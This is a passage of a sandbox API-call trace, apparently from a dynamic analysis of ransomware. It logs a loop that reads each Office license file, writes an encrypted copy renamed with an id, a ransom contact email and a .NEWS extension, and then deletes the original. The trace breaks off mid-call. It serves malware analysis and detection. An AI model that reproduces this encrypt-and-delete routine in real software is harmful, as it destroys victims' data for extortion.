lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.080] lstrlenW (lpString=".pdf") returned 4 [0187.080] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.080] lstrlenW (lpString=".xls") returned 4 [0187.080] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.080] lstrlenW (lpString=".xlsx") returned 5 [0187.080] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.080] lstrlenW (lpString=".ppt") returned 4 [0187.080] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.080] lstrlenW (lpString=".zip") returned 4 [0187.081] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.081] lstrlenW (lpString=".rar") returned 4 [0187.081] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.081] lstrlenW (lpString=".bz2") returned 4 [0187.081] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.081] lstrlenW (lpString=".7z") returned 3 [0187.081] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.081] lstrlenW (lpString=".dbf") returned 4 [0187.081] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.081] lstrlenW (lpString=".1cd") returned 4 [0187.081] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.081] lstrlenW (lpString=".jpg") returned 4 [0187.081] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.081] lstrlenW (lpString=".doc") returned 4 [0187.081] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.081] lstrlenW (lpString=".docx") returned 5 [0187.081] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.081] lstrlenW (lpString=".pdf") returned 4 [0187.081] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.081] lstrlenW (lpString=".xls") returned 4 [0187.081] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.081] lstrlenW (lpString=".xlsx") returned 5 [0187.081] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.081] lstrlenW (lpString=".ppt") returned 4 [0187.081] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.081] lstrlenW (lpString=".zip") returned 4 [0187.081] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.081] lstrlenW (lpString=".rar") returned 4 [0187.082] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.082] lstrlenW (lpString=".bz2") returned 4 [0187.082] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.082] lstrlenW (lpString=".7z") returned 3 [0187.082] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.082] lstrlenW (lpString=".dbf") returned 4 [0187.082] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.082] lstrlenW (lpString=".1cd") returned 4 [0187.082] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms") returned 95 [0187.082] lstrlenW (lpString=".jpg") returned 4 [0187.082] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.082] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0187.082] lstrlenW (lpString="HomeStudentR_Grace-ppd.xrm-ms") returned 29 [0187.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0187.083] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=21546) returned 1 [0187.083] CloseHandle (hObject=0x568) returned 1 [0187.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 0x220 [0187.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0187.084] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.084] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0187.085] GetLastError () returned 0x0 [0187.085] ReadFile (in: hFile=0x568, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x542a, lpOverlapped=0x0) returned 1 [0187.335] WriteFile (in: hFile=0x4f0, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x5430, lpOverlapped=0x0) returned 1 [0187.337] ReadFile (in: hFile=0x568, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.337] WriteFile (in: hFile=0x4f0, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x10e, lpOverlapped=0x0) returned 1 [0187.337] SetEndOfFile (hFile=0x4f0) returned 1 [0187.940] CloseHandle (hObject=0x4f0) returned 1 [0187.940] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.940] SetEndOfFile (hFile=0x568) returned 1 [0188.276] CloseHandle (hObject=0x568) returned 1 [0188.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 1 [0188.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.278] lstrlenW (lpString=".doc") returned 4 [0188.278] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.278] lstrlenW (lpString=".docx") returned 5 [0188.279] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.279] lstrlenW (lpString=".pdf") returned 4 [0188.279] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.279] lstrlenW (lpString=".xls") returned 4 [0188.279] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.279] lstrlenW (lpString=".xlsx") returned 5 [0188.279] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.279] lstrlenW (lpString=".ppt") returned 4 [0188.279] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.279] lstrlenW (lpString=".zip") returned 4 [0188.279] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.279] lstrlenW (lpString=".rar") returned 4 [0188.279] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.279] lstrlenW (lpString=".bz2") returned 4 [0188.279] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.279] lstrlenW (lpString=".7z") returned 3 [0188.279] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.279] lstrlenW (lpString=".dbf") returned 4 [0188.279] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.279] lstrlenW (lpString=".1cd") returned 4 [0188.279] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.279] lstrlenW (lpString=".jpg") returned 4 [0188.279] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.280] lstrlenW (lpString=".doc") returned 4 [0188.280] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.280] lstrlenW (lpString=".docx") returned 5 [0188.280] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.280] lstrlenW (lpString=".pdf") returned 4 [0188.280] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.280] lstrlenW (lpString=".xls") returned 4 [0188.280] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.280] lstrlenW (lpString=".xlsx") returned 5 [0188.280] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.280] lstrlenW (lpString=".ppt") returned 4 [0188.280] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.280] lstrlenW (lpString=".zip") returned 4 [0188.280] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.280] lstrlenW (lpString=".rar") returned 4 [0188.280] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.280] lstrlenW (lpString=".bz2") returned 4 [0188.280] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.280] lstrlenW (lpString=".7z") returned 3 [0188.280] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.280] lstrlenW (lpString=".dbf") returned 4 [0188.280] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.280] lstrlenW (lpString=".1cd") returned 4 [0188.280] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79 [0188.280] lstrlenW (lpString=".jpg") returned 4 [0188.281] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.281] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.281] lstrlenW (lpString="HomeStudentR_Trial-ul-oob.xrm-ms") returned 32 [0188.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0188.287] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11616) returned 1 [0188.287] CloseHandle (hObject=0x568) returned 1 [0188.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 0x220 [0188.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0188.288] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.288] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0188.289] GetLastError () returned 0x0 [0188.289] ReadFile (in: hFile=0x568, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2d60, lpOverlapped=0x0) returned 1 [0188.292] WriteFile (in: hFile=0x570, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0188.293] ReadFile (in: hFile=0x568, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.293] WriteFile (in: hFile=0x570, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x114, lpOverlapped=0x0) returned 1 [0188.294] SetEndOfFile (hFile=0x570) returned 1 [0188.294] CloseHandle (hObject=0x570) returned 1 [0188.294] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.294] SetEndOfFile (hFile=0x568) returned 1 [0188.297] CloseHandle (hObject=0x568) returned 1 [0188.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial-ul-oob.xrm-ms")) returned 1 [0188.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.299] lstrlenW (lpString=".doc") returned 4 [0188.299] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.299] lstrlenW (lpString=".docx") returned 5 [0188.299] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.299] lstrlenW (lpString=".pdf") returned 4 [0188.299] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.300] lstrlenW (lpString=".xls") returned 4 [0188.300] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.300] lstrlenW (lpString=".xlsx") returned 5 [0188.300] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.300] lstrlenW (lpString=".ppt") returned 4 [0188.300] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.300] lstrlenW (lpString=".zip") returned 4 [0188.300] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.300] lstrlenW (lpString=".rar") returned 4 [0188.300] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.300] lstrlenW (lpString=".bz2") returned 4 [0188.300] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.300] lstrlenW (lpString=".7z") returned 3 [0188.300] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.300] lstrlenW (lpString=".dbf") returned 4 [0188.300] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.300] lstrlenW (lpString=".1cd") returned 4 [0188.300] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.300] lstrlenW (lpString=".jpg") returned 4 [0188.300] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.300] lstrlenW (lpString=".doc") returned 4 [0188.300] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.301] lstrlenW (lpString=".docx") returned 5 [0188.301] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.301] lstrlenW (lpString=".pdf") returned 4 [0188.301] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.301] lstrlenW (lpString=".xls") returned 4 [0188.301] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.301] lstrlenW (lpString=".xlsx") returned 5 [0188.301] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.301] lstrlenW (lpString=".ppt") returned 4 [0188.301] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.301] lstrlenW (lpString=".zip") returned 4 [0188.301] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.301] lstrlenW (lpString=".rar") returned 4 [0188.301] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.301] lstrlenW (lpString=".bz2") returned 4 [0188.301] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.301] lstrlenW (lpString=".7z") returned 3 [0188.301] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.301] lstrlenW (lpString=".dbf") returned 4 [0188.301] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.301] lstrlenW (lpString=".1cd") returned 4 [0188.301] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial-ul-oob.xrm-ms") returned 82 [0188.301] lstrlenW (lpString=".jpg") returned 4 [0188.301] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.302] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.302] lstrlenW (lpString="HomeStudentR_Trial2-pl.xrm-ms") returned 29 [0188.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0188.303] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11167) returned 1 [0188.303] CloseHandle (hObject=0x568) returned 1 [0188.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms")) returned 0x220 [0188.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0188.304] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.304] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_trial2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0188.305] GetLastError () returned 0x0 [0188.305] ReadFile (in: hFile=0x568, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0188.489] WriteFile (in: hFile=0x570, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0188.491] ReadFile (in: hFile=0x568, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.491] WriteFile (in: hFile=0x570, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x10e, lpOverlapped=0x0) returned 1 [0188.491] SetEndOfFile (hFile=0x570) returned 1 [0188.491] CloseHandle (hObject=0x570) returned 1 [0188.491] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.491] SetEndOfFile (hFile=0x568) returned 1 [0188.494] CloseHandle (hObject=0x568) returned 1 [0188.495] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 